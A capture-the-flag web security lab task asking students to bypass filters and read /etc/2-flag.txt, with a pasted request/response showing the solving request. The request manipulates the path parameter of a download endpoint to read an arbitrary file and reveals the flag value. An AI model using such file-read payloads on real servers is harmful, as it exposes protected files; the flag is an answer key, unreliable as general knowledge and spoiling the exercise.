

## 2. Not even this can be bypassed

A critical flag is hidden deep within /etc/2-flag.txt. The system guarding it has implemented multiple layers of filtering and validation, making traditional techniques ineffective. However, every defense has its blind spot—your mission is deconstructing it.

Your task is to investigate, exploit, and secure the endpoint.

- Target Machine: [Cyber - WebSec 0x07](#)
- Main Endpoint: `http://web0x07.hbtn/task2/list_file`

Challenge yourself to bypass it while respecting security boundaries.

Useful **instructions**:

1. Test **Boundaries**: Experiment with **different** encoding **and** payload techniques to understand how inputs are processed.
2. Think Outside the **Box**: Consider less conventional methods of **bypassing** security filters.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET	/task2/download_file?filename=2-flag.txt&path=/etc	HTTP/1.1	1	HTTP/1.1	200	OK
2	Host:	web0x07.hbtn		2	Server:	nginx/1.22.1	
3	User-Agent:	Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0		3	Date:	Tue, 11 Feb 2025 21:38:41 GMT	
4	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8		4	Content-Type:	text/plain; charset=utf-8	
5	Accept-Language:	en-US,en;q=0.5		5	Content-Length:	40	
6	Accept-Encoding:	gzip, deflate, br		6	Connection:	keep-alive	
7	Connection:	keep-alive		7			
8	Referer:	http://web0x07.hbtn/task1/list_file		8	FLAG_2:	915fe65937f3fa6ca86a0ae138a3688a	
9	Upgrade-Insecure-Requests:	1					
10	Priority:	u=0, i					
11							
12							